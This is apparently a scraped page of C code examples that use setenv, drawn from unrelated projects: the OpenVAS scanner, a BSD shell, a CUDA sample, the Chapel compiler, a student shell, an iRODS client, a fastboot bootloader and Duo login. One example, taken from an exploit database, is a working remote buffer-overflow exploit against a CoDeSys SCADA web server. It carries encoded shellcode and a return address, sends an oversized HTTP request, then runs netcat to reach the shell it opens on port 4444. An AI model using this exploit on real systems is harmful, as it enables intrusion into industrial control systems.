      g_print ("%s\n", SYSCONFDIR);
      exit (0);
    }

  /* Switch to UTC so that OTP times are always in UTC. */
  if (setenv ("TZ", "utc 0", 1) == -1)
    {
      g_print ("%s\n\n", strerror (errno));
      exit (0);
    }
  tzset ();

  if (print_specs)
    exit_early = 2;           /* no cipher initialization */

  if (address != NULL)
    {
      memset (&hints, 0, sizeof (hints));
      hints.ai_socktype = SOCK_STREAM;
      hints.ai_protocol = IPPROTO_TCP;
      hints.ai_flags = AI_NUMERICHOST;
      if (getaddrinfo (address, NULL, &hints, &mysaddr))
        {
          printf ("Invalid IP address.\n");
          printf ("Please use %s --help for more information.\n", myself);
          exit (0);
        }
      /* deep copy */
      ai.ai_family = mysaddr->ai_family;
      if (ai.ai_family == AF_INET)
        {
          memcpy (&saddr, mysaddr->ai_addr, mysaddr->ai_addrlen);
          ai.ai_addr = (struct sockaddr *) &saddr;
        }
      else
        {
          memcpy (&s6addr, mysaddr->ai_addr, mysaddr->ai_addrlen);
          ai.ai_addr = (struct sockaddr *) &s6addr;
        }
      ai.ai_family = mysaddr->ai_family;
      ai.ai_protocol = mysaddr->ai_protocol;
      ai.ai_socktype = mysaddr->ai_socktype;
      ai.ai_addrlen = mysaddr->ai_addrlen;
      freeaddrinfo (mysaddr);
    }
  else
    {
      /* Default to IPv4 */
      /*Warning: Not filling all the fields */
      saddr.sin_addr.s_addr = INADDR_ANY;
      saddr.sin_family = ai.ai_family = AF_INET;
      ai.ai_addrlen = sizeof (saddr);
      ai.ai_addr = (struct sockaddr *) &saddr;
    }

  if (port != NULL)
    {
      scanner_port = atoi (port);
      if ((scanner_port <= 0) || (scanner_port >= 65536))
        {
          printf ("Invalid port specification.\n");
          printf ("Please use %s --help for more information.\n", myself);
          exit (1);
        }
    }

  if (display_version)
    {
      printf ("OpenVAS Scanner %s\n", OPENVASSD_VERSION);
      printf
        ("Nessus origin: (C) 2004 Renaud Deraison <*****@*****.**>\n");
      printf
        ("Most new code since OpenVAS: (C) 2013 Greenbone Networks GmbH\n");
      printf ("License GPLv2: GNU GPL version 2\n");
      printf
        ("This is free software: you are free to change and redistribute it.\n"
         "There is NO WARRANTY, to the extent permitted by law.\n\n");
      exit (0);
    }

  if (config_file != NULL)
    arg_add_value (options, "acc_hint", ARG_INT, sizeof (int), (void *) 1);

  if (!config_file)
    {
      config_file = emalloc (strlen (OPENVASSD_CONF) + 1);
      strncpy (config_file, OPENVASSD_CONF, strlen (OPENVASSD_CONF));
    }

  arg_add_value (options, "scanner_port", ARG_INT, sizeof (gpointer),
                 GSIZE_TO_POINTER (scanner_port));
  arg_add_value (options, "config_file", ARG_STRING, strlen (config_file),
                 config_file);
  arg_add_value (options, "addr", ARG_PTR, -1, &ai);

  if (only_cache)
    {
      init_openvassd (options, 0, 1, dont_fork);
      init_plugins (options);
      exit (0);
    }

  init_openvassd (options, 1, exit_early, dont_fork);
  g_options = options;
  global_iana_socket = GPOINTER_TO_SIZE (arg_get_value (options, "isck"));
  global_plugins = arg_get_value (options, "plugins");

  /* special treatment */
  if (print_specs)
    dump_cfg_specs (global_preferences);
  if (exit_early)
    exit (0);

  init_ssl_ctx (gnutls_priorities, dh_params);
  // Daemon mode:
  if (dont_fork == FALSE)
    set_daemon_mode ();
  pidfile_create ("openvassd");
  handler_pid = loading_handler_start ();
  init_plugins (options);
  loading_handler_stop (handler_pid);
  main_loop ();
  exit (0);
}
コード例 #23
0
ファイル: histedit.c プロジェクト: edgar-pek/PerspicuOS
/*
 * Set history and editing status.  Called whenever the status may
 * have changed (figures out what to do).
 */
void
histedit(void)
{

#define editing (Eflag || Vflag)

	if (iflag) {
		if (!hist) {
			/*
			 * turn history on
			 */
			INTOFF;
			hist = history_init();
			INTON;

			if (hist != NULL)
				sethistsize(histsizeval());
			else
				out2fmt_flush("sh: can't initialize history\n");
		}
		if (editing && !el && isatty(0)) { /* && isatty(2) ??? */
			/*
			 * turn editing on
			 */
			char *term;

			INTOFF;
			if (el_in == NULL)
				el_in = fdopen(0, "r");
			if (el_err == NULL)
				el_err = fdopen(1, "w");
			if (el_out == NULL)
				el_out = fdopen(2, "w");
			if (el_in == NULL || el_err == NULL || el_out == NULL)
				goto bad;
			term = lookupvar("TERM");
			if (term)
				setenv("TERM", term, 1);
			else
				unsetenv("TERM");
			el = el_init(arg0, el_in, el_out, el_err);
			if (el != NULL) {
				if (hist)
					el_set(el, EL_HIST, history, hist);
				el_set(el, EL_PROMPT, getprompt);
				el_set(el, EL_ADDFN, "sh-complete",
				    "Filename completion",
				    _el_fn_sh_complete);
			} else {
bad:
				out2fmt_flush("sh: can't initialize editing\n");
			}
			INTON;
		} else if (!editing && el) {
			INTOFF;
			el_end(el);
			el = NULL;
			INTON;
		}
		if (el) {
			if (Vflag)
				el_set(el, EL_EDITOR, "vi");
			else if (Eflag)
				el_set(el, EL_EDITOR, "emacs");
			el_set(el, EL_BIND, "^I", "sh-complete", NULL);
			el_source(el, NULL);
		}
	} else {
		INTOFF;
		if (el) {	/* no editing if not interactive */
			el_end(el);
			el = NULL;
		}
		if (hist) {
			history_end(hist);
			hist = NULL;
		}
		INTON;
	}
}
コード例 #24
0
ファイル: particles.cpp プロジェクト: ziyuhe/cuda_project
////////////////////////////////////////////////////////////////////////////////
// Program main
////////////////////////////////////////////////////////////////////////////////
int
main(int argc, char **argv)
{
#if defined(__linux__)
    setenv ("DISPLAY", ":0", 0);
#endif

    printf("%s Starting...\n\n", sSDKsample);

    numParticles = NUM_PARTICLES;
    uint gridDim = GRID_SIZE;
    numIterations = 0;

    if (argc > 1)
    {
        if (checkCmdLineFlag(argc, (const char **) argv, "n"))
        {
            numParticles = getCmdLineArgumentInt(argc, (const char **)argv, "n");
        }

        if (checkCmdLineFlag(argc, (const char **) argv, "grid"))
        {
            gridDim = getCmdLineArgumentInt(argc, (const char **) argv, "grid");
        }

        if (checkCmdLineFlag(argc, (const char **)argv, "file"))
        {
            getCmdLineArgumentString(argc, (const char **)argv, "file", &g_refFile);
            fpsLimit = frameCheckNumber;
            numIterations = 1;
        }
    }

    gridSize.x = gridSize.y = gridSize.z = gridDim;
    printf("grid: %d x %d x %d = %d cells\n", gridSize.x, gridSize.y, gridSize.z, gridSize.x*gridSize.y*gridSize.z);
    printf("particles: %d\n", numParticles);

    bool benchmark = checkCmdLineFlag(argc, (const char **) argv, "benchmark") != 0;

    if (checkCmdLineFlag(argc, (const char **) argv, "i"))
    {
        numIterations = getCmdLineArgumentInt(argc, (const char **) argv, "i");
    }

    if (g_refFile)
    {
        cudaInit(argc, argv);
    }
    else
    {
        if (checkCmdLineFlag(argc, (const char **)argv, "device"))
        {
            printf("[%s]\n", argv[0]);
            printf("   Does not explicitly support -device=n in OpenGL mode\n");
            printf("   To use -device=n, the sample must be running w/o OpenGL\n\n");
            printf(" > %s -device=n -file=<*.bin>\n", argv[0]);
            printf("exiting...\n");
            exit(EXIT_SUCCESS);
        }

        initGL(&argc, argv);
        cudaGLInit(argc, argv);
    }

    initParticleSystem(numParticles, gridSize, g_refFile==NULL);
    initParams();

    if (!g_refFile)
    {
        initMenus();
    }

    if (benchmark || g_refFile)
    {
        if (numIterations <= 0)
        {
            numIterations = 300;
        }

        runBenchmark(numIterations, argv[0]);
    }
    else
    {
        glutDisplayFunc(display);
        glutReshapeFunc(reshape);
        glutMouseFunc(mouse);
        glutMotionFunc(motion);
        glutKeyboardFunc(key);
        glutSpecialFunc(special);
        glutIdleFunc(idle);

        glutCloseFunc(cleanup);

        glutMainLoop();
    }

    if (psystem)
    {
        delete psystem;
    }

    // cudaDeviceReset causes the driver to clean up all state. While
    // not mandatory in normal operation, it is good practice.  It is also
    // needed to ensure correct operation when the application is being
    // profiled. Calling cudaDeviceReset causes all profile data to be
    // flushed before the application exits
    cudaDeviceReset();
    exit(g_TotalErrors > 0 ? EXIT_FAILURE : EXIT_SUCCESS);
}
コード例 #25
0
ファイル: driver.cpp プロジェクト: PriMachVisSys/chapel
static void setupChplHome(const char* argv0) {
  const char* chpl_home = getenv("CHPL_HOME");
  char*       guess     = NULL;

  // Get the executable path.
  guess = findProgramPath(argv0);

  if (guess) {
    // Determine CHPL_HOME based on the exe path.
    // Determined exe path, but don't have a env var set
    // Look for ../../../util/chplenv
    // Remove the /bin/some-platform/chpl part
    // from the path.
    if( guess[0] ) {
      int j = strlen(guess) - 5; // /bin and '\0'
      for( ; j >= 0; j-- ) {
        if( guess[j] == '/' &&
            guess[j+1] == 'b' &&
            guess[j+2] == 'i' &&
            guess[j+3] == 'n' ) {
          guess[j] = '\0';
          break;
        }
      }
    }

    if( isMaybeChplHome(guess) ) {
      // OK!
    } else {
      // Maybe we are in e.g. /usr/bin.
      free(guess);
      guess = NULL;
    }
  }

  if( chpl_home ) {
    if( strlen(chpl_home) > FILENAME_MAX )
      USR_FATAL("$CHPL_HOME=%s path too long", chpl_home);

    if( guess == NULL ) {
      // Could not find exe path, but have a env var set
      strncpy(CHPL_HOME, chpl_home, FILENAME_MAX);
    } else {
      // We have env var and found exe path.
      // Check that they match and emit a warning if not.

      if( ! isSameFile(chpl_home, guess) ) {
        // Not the same. Emit warning.
        USR_WARN("$CHPL_HOME=%s mismatched with executable home=%s",
                 chpl_home, guess);
      }
      // Since we have an enviro var, always use that.
      strncpy(CHPL_HOME, chpl_home, FILENAME_MAX);
    }
  } else {
    if( guess == NULL ) {
      // Could not find enviro var, and could not
      // guess at exe's path name.
      USR_FATAL("$CHPL_HOME must be set to run chpl");
    } else {
      int rc;

      if( strlen(guess) > FILENAME_MAX )
        USR_FATAL("chpl guessed home %s too long", guess);

      // Determined exe path, but don't have a env var set
      strncpy(CHPL_HOME, guess, FILENAME_MAX);
      // Also need to setenv in this case.
      rc = setenv("CHPL_HOME", guess, 0);
      if( rc ) USR_FATAL("Could not setenv CHPL_HOME");
    }
  }

  // Check that the resulting path is a Chapel distribution.
  if( ! isMaybeChplHome(CHPL_HOME) ) {
    // Bad enviro var.
    USR_WARN("CHPL_HOME=%s is not a Chapel distribution", CHPL_HOME);
  }

  if( guess )
    free(guess);

  parseCmdLineConfig("CHPL_HOME", astr("\"", CHPL_HOME, "\""));
}
コード例 #26
0
ファイル: neushell.c プロジェクト: 5hubh4m/neushell
void execute(int nargs, char* args[]) {
  int pfd[2];
  if(args[0] == NULL) {
    return;
  }
  else if(strcmp(args[0], "exit") == 0) {
    exit(nargs > 1 ? atoi(args[1]) : 0);
  }
  else if(strcmp(args[0], "cd") == 0) {
    if(nargs < 2) {
      chdir(getenv("HOME"));
      getwd(pwd);
    }
    else {
      if(chdir(args[1]) == 0) {
        getwd(pwd);
      }
      else {
        printf("Error! Could not change directory.\n");
      }
    }
    char* pathvar = malloc(strlen(defpath) + strlen(pwd) + 2);
    strcat(pathvar, pwd);
    strcpy(pathvar, ":");
    strcpy(pathvar, defpath);
    setenv("PATH", pathvar, 1);
    free(pathvar);
  }
  else if(strcmp(args[0], "pwd") == 0) {
    printf("%s\n", pwd);
  }
  else if(strcmp(args[0], "mkdir") == 0) {
    if(nargs > 1) {
      if(mkdir(args[1], 0755) != 0) {
        printf("Error! Could not create directory.\n");
      }
    }
  }
  else if(strcmp(args[0], "rmdir") == 0) {
    if(nargs > 1) {
      if(rmdir(args[1]) == -1) {
        printf("Error! Could not delete directory.\n");
      }
    }
  }
  else if(strcmp(args[0], "show") == 0) {
    printf("%s\n", (nargs > 1 ? getenv(args[1]) : ""));
  }
  else if(strcmp(args[0], "set") == 0) {
    if(nargs > 2) {
      setenv(args[1], args[2], 1);
      printf("Set %s as %s.\n", args[1], args[2]);
    }
  }
  else if(strcmp(args[0], "unset") == 0) {
    if(nargs > 1) {
      unsetenv(args[1]);
      printf("Unset %s.\n", args[1]);
    }
  }
  else if(strlen(args[0]) > 0) {
    int redct = redirect(args);
    int pipe = pipecmd(args, pfd);
    if(redct == -1 || pipe == -1) {
      return;
    }
    pid_t child = fork();
    if(child == -1) {
      printf("Error! Could not create new process.\n");
    }
    else if(child == 0) {
      if(pipe > 0) {
        pid_t fc = fork();
        if(fc == -1) {
          printf("Error! Could not create new process.\n");
        }
        else if(fc == 0) {
          close(pfd[0]);
          fflush(stdout);
          dup2(pfd[1], STDOUT_FILENO);
          close(pfd[1]);
          execvp(args[0], args);
          printf("Error! Could not execute command \"%s\".\n", args[0]);
        }
        else {
          close(pfd[1]);
          fflush(stdin);
          dup2(pfd[0], STDIN_FILENO);
          close(pfd[0]);
          execute(nargs - pipe - 1, args + pipe + 1);
        }
      }
      else {
        execvp(args[0], args);
        printf("Error! Could not execute command \"%s\".\n", args[0]);
      }
      exit(EXIT_FAILURE);
    }
    else {
      if(pipe > 0) {
        close(pfd[0]);
        close(pfd[1]);
      }
      wait(NULL);
    }
  }
}
コード例 #27
0
ファイル: 18187.c プロジェクト: AlexxNica/exploit-database
int main ( int argc, char *argv[] )
{

 
int sock, i, payload;

struct sockaddr_in dest_addr;

char *target = "target";

char request[1600], *ptr;


char ret[] = "\x67\x42\xa7\x71"; //ret - WINXP SP1 EN , mswsock.dll

char hellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
"\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x48"
"\x4e\x36\x46\x52\x46\x42\x4b\x58\x45\x54\x4e\x43\x4b\x38\x4e\x37"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x31\x4b\x58"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x32\x45\x47\x45\x4e\x4b\x58"
"\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x34"
"\x4b\x48\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x30\x4e\x52\x4b\x38"
"\x49\x58\x4e\x36\x46\x42\x4e\x41\x41\x36\x43\x4c\x41\x43\x4b\x4d"
"\x46\x56\x4b\x48\x43\x44\x42\x53\x4b\x58\x42\x44\x4e\x30\x4b\x48"
"\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x34\x4a\x30\x50\x35\x4a\x56"
"\x50\x48\x50\x54\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x46"
"\x43\x55\x48\x56\x4a\x46\x43\x53\x44\x33\x4a\x36\x47\x37\x43\x57"
"\x44\x33\x4f\x35\x46\x55\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e"
"\x48\x46\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x35\x4c\x46\x44\x50"
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
"\x4f\x4f\x48\x4d\x43\x45\x43\x35\x43\x45\x43\x55\x43\x45\x43\x34"
"\x43\x45\x43\x44\x43\x35\x4f\x4f\x42\x4d\x48\x56\x4a\x36\x41\x31"
"\x4e\x35\x48\x46\x43\x45\x49\x48\x41\x4e\x45\x59\x4a\x46\x46\x4a"
"\x4c\x41\x42\x37\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x41"
"\x41\x45\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x52"
"\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d"
"\x4a\x56\x45\x4e\x49\x44\x48\x38\x49\x54\x47\x55\x4f\x4f\x48\x4d"
"\x42\x55\x46\x45\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46"
"\x47\x4e\x49\x57\x48\x4c\x49\x57\x47\x55\x4f\x4f\x48\x4d\x45\x55"
"\x4f\x4f\x42\x4d\x48\x56\x4c\x46\x46\x36\x48\x36\x4a\x56\x43\x36"
"\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x45\x49\x45\x49\x32\x4e\x4c"
"\x49\x48\x47\x4e\x4c\x56\x46\x34\x49\x48\x44\x4e\x41\x33\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x32\x50\x4f\x44\x54\x4e\x52"
"\x43\x39\x4d\x58\x4c\x57\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
"\x44\x37\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x34\x4f\x4f"
"\x48\x4d\x4b\x35\x47\x45\x44\x35\x41\x35\x41\x35\x41\x45\x4c\x56"
"\x41\x30\x41\x35\x41\x35\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x56"
"\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"
"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x48\x47\x55\x4e\x4f"
"\x43\x58\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d"
"\x4a\x56\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x45\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a";

printf ("\n%s\n by SignalSEC Labs - www.signalsec.com\n", name);

if (argc < 2) 
{
        printf ("\nUsage: codesys [IP]\n");
        exit (-1);
}

setenv (target, argv[1], 1);


memset (request, '\0', sizeof (request));
ptr = request;
strcat (request, "GET /");

for(i = 1; i < 776; i++){

	strcat (request, JUNK);
}

strcat (request, ret);
strcat (request, hellcode);
strcat (request, " HTTP/1.1");
strcat (request, "\r\n");


if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){
        perror("\nsocket error\n");
        exit (1);
        }

dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(PORT);
if (! inet_aton(argv[1], &(dest_addr.sin_addr))) {
        perror("inet_aton problems");
        exit (2);
        }

memset( &(dest_addr.sin_zero), '\0', 8);

if (connect (sock, (struct sockaddr *)&dest_addr, sizeof (struct sockaddr)) == -1){
        perror("\nCouldnt connect to target!\n");
        close (sock);
        exit (3);
        }

payload = (send (sock, ptr, strlen(request), 0));
if (payload == -1) {
        perror("\nCan not send the payload\n");
        close (sock);
        exit(4);
        }
close (sock);
printf ("\n[+]Sending payload to SCADA system!\n");
sleep (1);
printf ("\n[+]Connecting to port 4444 to get shell!\n");
sleep (2);
system("nc -vv ${target} 4444 || echo 'Sorry exploit failed! Change RET address or be sure target is not patched!'");
exit (0);
}
コード例 #28
0
ファイル: tears.c プロジェクト: whitwham/tears
int main (int argc, char **argv) {
    rcComm_t           *conn = NULL;
    rodsEnv            irods_env;
    rErrMsg_t          err_msg;
    dataObjInp_t       data_obj;
    openedDataObjInp_t open_obj;
    int                open_fd;
    char    	       *new_host = NULL;
    
    int status;
    char *obj_name = NULL;
    char *buffer;
    char prog_name[255];
    size_t buf_size = DEFAULT_BUFFER_SIZE;
    int verbose = 0;
    int opt;
    unsigned long total_written = 0;
    int write_to_irods = 1;
    int server_set = 0;
    
    while ((opt = getopt(argc, argv, "b:vhrdw")) != -1) {
    	switch (opt) {
	    case 'b':
	    	buf_size = atoi(optarg);
		
		if (buf_size <= 0) {
		    error_and_exit(conn, "Error: buffer size must be greater than 0.\n");
		}
		
		break;
		
	    case 'v':
	    	verbose = 1;
		break;
		
	    case 'r':
	    	write_to_irods = 0;
		break;
		
	    case 'w':
	    	// dummy write option to be enforced later
		break;
		
	    case 'd':
	    	server_set = 1;
		break;
	    
	    case 'h':
	    	usage_and_exit(argv[0], EXIT_SUCCESS);
		break;
		
	    default:
	    	usage_and_exit(argv[0], EXIT_FAILURE);
		break;
	}
    }
    
    if (optind >= argc) {
    	fprintf(stderr, "Error: Missing iRODS file.\n");
	usage_and_exit(argv[0], EXIT_FAILURE);
    }
    
    obj_name = argv[optind];
    
    if ((buffer = malloc(buf_size)) == NULL) {
    	error_and_exit(conn, "Error: unable to set buffer to size %ld\n", buf_size);
    }
    
    // set the client name so iRODS knows what program is connecting to it
    sprintf(prog_name, "%s:%s", PACKAGE_NAME, PACKAGE_VERSION);
   
    if (verbose) {
    	fprintf(stderr, "Setting client name to: %s\n", prog_name);
    }
    
    setenv(SP_OPTION, prog_name, 1);
    
    // lets get the irods environment
    if ((status = getRodsEnv(&irods_env)) < 0) {
    	error_and_exit(conn, "Error: getRodsEnv failed with status %d:%s\n", status, get_irods_error_name(status, verbose));
    }
    
    if ((status = irods_uri_check(obj_name, &irods_env, verbose)) < 0) {
    	error_and_exit(conn, "Error: invalid uri: %s\n", obj_name);
    } else if (status > 0) {
    	server_set = 1;
    }
    
    if (verbose) {
    	fprintf(stderr, "host %s\nzone %s\nuser %s\nport %d\n",
	    irods_env.rodsHost, irods_env.rodsZone,
	    irods_env.rodsUserName, irods_env.rodsPort);
    }
    
    #if IRODS_VERSION_INTEGER && IRODS_VERSION_INTEGER >= 4001008
	init_client_api_table();
   #endif
    
    // make the irods connections
    conn = rcConnect(irods_env.rodsHost, irods_env.rodsPort,
    	    	     irods_env.rodsUserName, irods_env.rodsZone,
		     0, &err_msg);
		     
    if (!conn) {
    	print_irods_error("Error: rcConnect failed:", &err_msg);
	exit(EXIT_FAILURE);
    }
    
    #if IRODS_VERSION_INTEGER && IRODS_VERSION_INTEGER >= 4001008
	status = clientLogin(conn, "", "");
    #else
	status = clientLogin(conn);
    #endif

    if (status < 0) {
    	error_and_exit(conn, "Error: clientLogin failed with status %d:%s\n", status, get_irods_error_name(status, verbose));
    }
  
    // set up the data object
    memset(&data_obj, 0, sizeof(data_obj));
    strncpy(data_obj.objPath, obj_name, MAX_NAME_LEN);
    
    if (write_to_irods) {
    	data_obj.openFlags = O_WRONLY;
    } else {
    	data_obj.openFlags = O_RDONLY;
    }
    
    data_obj.dataSize = 0;

    // talk to server
    if (write_to_irods) {
    	if (!server_set) {
	    if ((status = rcGetHostForPut(conn, &data_obj, &new_host)) < 0) {
		error_and_exit(conn, "Error: rcGetHostForPut failed with status %d:%s\n", status, get_irods_error_name(status, verbose));
	    }

    	    choose_server(&conn, new_host, &irods_env, verbose);
	    free(new_host);
	}

	if ((open_fd = rcDataObjCreate(conn, &data_obj)) < 0) {
    	    error_and_exit(conn, "Error: rcDataObjCreate failed with status %d:%s\n", open_fd, get_irods_error_name(open_fd, verbose));
	}
    } else {
    	if (!server_set) {
	    if ((status = rcGetHostForGet(conn, &data_obj, &new_host)) < 0) {
		error_and_exit(conn, "Error: rcGetHostForGet failed with status %d:%s\n", status, get_irods_error_name(status, verbose));
	    }

    	    choose_server(&conn, new_host, &irods_env, verbose);
	    free(new_host);
	}

	if ((open_fd = rcDataObjOpen(conn, &data_obj)) < 0) {
    	    error_and_exit(conn, "Error: rcDataObjOpen failed with status %d:%s\n", open_fd, get_irods_error_name(open_fd, verbose));
	}
    }
    
    // the read/write loop    
    while (1) {
    	bytesBuf_t data_buffer;
	long read_in;
	long written_out;
	
	// set up common data elements
	memset(&open_obj, 0, sizeof(open_obj));
	open_obj.l1descInx = open_fd;
	data_buffer.buf = buffer;
	
	// time to read something
	if (write_to_irods) {
    	    read_in 	    = fread(buffer, 1, buf_size, stdin);
	    open_obj.len    = read_in;
	    data_buffer.len = open_obj.len;
	} else {
	    open_obj.len = buf_size;
	    data_buffer.len = open_obj.len;
	    
	    if ((read_in = rcDataObjRead(conn, &open_obj, &data_buffer)) < 0) {
    		error_and_exit(conn, "Error:  rcDataObjRead failed with status %ld:%s\n", read_in, get_irods_error_name(read_in, verbose));
	    }
	}
	
	if (verbose) {
	    fprintf(stderr, "%ld bytes read\n", read_in);
	}
	
	if (!read_in) break;
    
	// now try and write something
	if (write_to_irods) {
	    open_obj.len = read_in;
	    data_buffer.len = open_obj.len;

	    if ((written_out = rcDataObjWrite(conn, &open_obj, &data_buffer)) < 0) {
    		error_and_exit(conn, "Error:  rcDataObjWrite failed with status %ld\n", written_out, get_irods_error_name(written_out, verbose));
	    }
	} else {
	    written_out = fwrite(buffer, 1, read_in, stdout);
	}
	
	if (verbose) {
	    fprintf(stderr, "%ld bytes written\n", written_out);
	}
	
	total_written += written_out;
	
	if (read_in != written_out) {
	    error_and_exit(conn, "Error: write fail %ld written, should be %ld.\n", written_out, read_in);
	}
    };
    
    if (verbose) {
    	fprintf(stderr, "Total bytes written %ld\n", total_written);
    }
    
    if ((status = rcDataObjClose(conn, &open_obj)) < 0) {
    	error_and_exit(conn, "Error: rcDataObjClose failed with status %d:%s\n", status, get_irods_error_name(status, verbose));
    }
    
    rcDisconnect(conn);
    free(buffer);
    exit(EXIT_SUCCESS);
}
コード例 #29
0
void fastboot_flash_partition_init(void)
{
	fastboot_ptentry fb_part;
	int index, part_total;
	char partition_sets[1024];
	char part_name[32];
	char *pa_index;
	int  part_name_count;	
    
	printf("--------fastboot partitions--------\n");
	part_total = sunxi_partition_get_total_num();
	if((part_total <= 0) || (part_total > MBR_MAX_PART_COUNT))
	{
		printf("mbr not exist\n");

		return ;
	}
	printf("-total partitions:%d-\n", part_total);
	printf("%-12s  %-12s  %-12s\n", "-name-", "-start-", "-size-");
	memset(partition_sets, ' ', sizeof(partition_sets));

	memset(part_name, 0, sizeof(part_name));
	if(!storage_type)
	{
		memcpy(part_name, "nanda", 5);
	}
	else
	{
		memcpy(part_name, "mmcblk0p2", 9);
		part_name_count = 2;
	}
	pa_index = partition_sets;
	for(index = 0; index < part_total && index < MBR_MAX_PART_COUNT; index++) {
		sunxi_partition_get_name(index, &fb_part.name[0]);
		fb_part.start = sunxi_partition_get_offset(index) * 512;
		fb_part.length = sunxi_partition_get_size(index) * 512;
		fb_part.flags = 0;
		printf("%-12s: %-12x  %-12x\n", fb_part.name, fb_part.start>>9, fb_part.length>>9);
		fastboot_flash_add_ptn(&fb_part);

		strcpy(pa_index, fb_part.name);
		pa_index += strlen(fb_part.name);
		*pa_index = '@' ;
		pa_index ++;

		strcpy(pa_index, part_name);
		pa_index += strlen(part_name);
		*pa_index = ':';
		pa_index ++;			

		if(!storage_type)
		{
			part_name[4] ++;
		}
		else
		{
			part_name_count ++;
			if(part_name_count < 5)
			{
				part_name_count = 5;
				part_name[8] = '5';	
			}
			else if(part_name_count < 10)
			{
				part_name[8] ++;
			}
			else if(part_name_count == 10)
			{
				part_name[8] = '1';
				part_name[9] = '0';
			}
			else
			{
				part_name[9] ++;
			}
		}
	}
	pa_index--;
	if(storage_type)
	{
		if(part_name_count > 10)
		{
			pa_index--;
		}
		else
		{
			*(pa_index - 1) = '1';
		}
	}
	*pa_index = '\0';
	printf("-----------------------------------\n");

	setenv("partitions", partition_sets);
	
}
コード例 #30
0
ファイル: login_duo.c プロジェクト: GetSerene/duo_unix
static int
do_auth(struct login_ctx *ctx, const char *cmd)
{
    struct duo_config cfg;
    struct passwd *pw;
    struct in_addr addr;
    duo_t *duo;
    duo_code_t code;
    const char *config, *p, *duouser;
    const char *ip, *host = NULL;
    char buf[64];
    int i, flags, ret, prompts, matched;
    int headless = 0;

        if ((pw = getpwuid(ctx->uid)) == NULL)
                die("Who are you?");
        
    duouser = ctx->duouser ? ctx->duouser : pw->pw_name;
    config = ctx->config ? ctx->config : DUO_CONF;
    flags = 0;
    
    duo_config_default(&cfg);
        
    /* Load our private config. */
    if ((i = duo_parse_config(config, __ini_handler, &cfg)) != 0 ||
            (!cfg.apihost || !cfg.apihost[0] || !cfg.skey || !cfg.skey[0] ||
                !cfg.ikey || !cfg.ikey[0])) {
                switch (i) {
                case -2:
                        fprintf(stderr, "%s must be readable only by "
                            "user '%s'\n", config, pw->pw_name);
                        break;
                case -1:
                        fprintf(stderr, "Couldn't open %s: %s\n",
                            config, strerror(errno));
                        break;
                case 0:
                        fprintf(stderr, "Missing host, ikey, or skey in %s\n",
                            config);
                        break;
                default:
                        fprintf(stderr, "Parse error in %s, line %d\n",
                            config, i);
                        break;
                }
                /* Implicit "safe" failmode for local configuration errors */
                if (cfg.failmode == DUO_FAIL_SAFE) {
                        return (EXIT_SUCCESS);
                }
                return (EXIT_FAILURE);
    }
    prompts = cfg.prompts;
    /* Check group membership. */
    matched = duo_check_groups(pw, cfg.groups, cfg.groups_cnt);
    if (matched == -1) {
        return (EXIT_FAILURE);
    } else if (matched == 0) {
        return (EXIT_SUCCESS);
    }


    /* Check for remote login host */
    if ((host = ip = getenv("SSH_CONNECTION")) != NULL ||
        (host = ip = (char *)ctx->host) != NULL) {
        if (inet_aton(ip, &addr)) {
            strlcpy(buf, ip, sizeof(buf));
            ip = strtok(buf, " ");
            host = ip;
        } else {
            ip = (cfg.local_ip_fallback ? duo_local_ip() : NULL);
        }
    }

    /* Honor configured http_proxy */
    if (cfg.http_proxy != NULL) {
        setenv("http_proxy", cfg.http_proxy, 1);
    }

    /* Try Duo auth. */
    if ((duo = duo_open(cfg.apihost, cfg.ikey, cfg.skey,
                    "login_duo/" PACKAGE_VERSION,
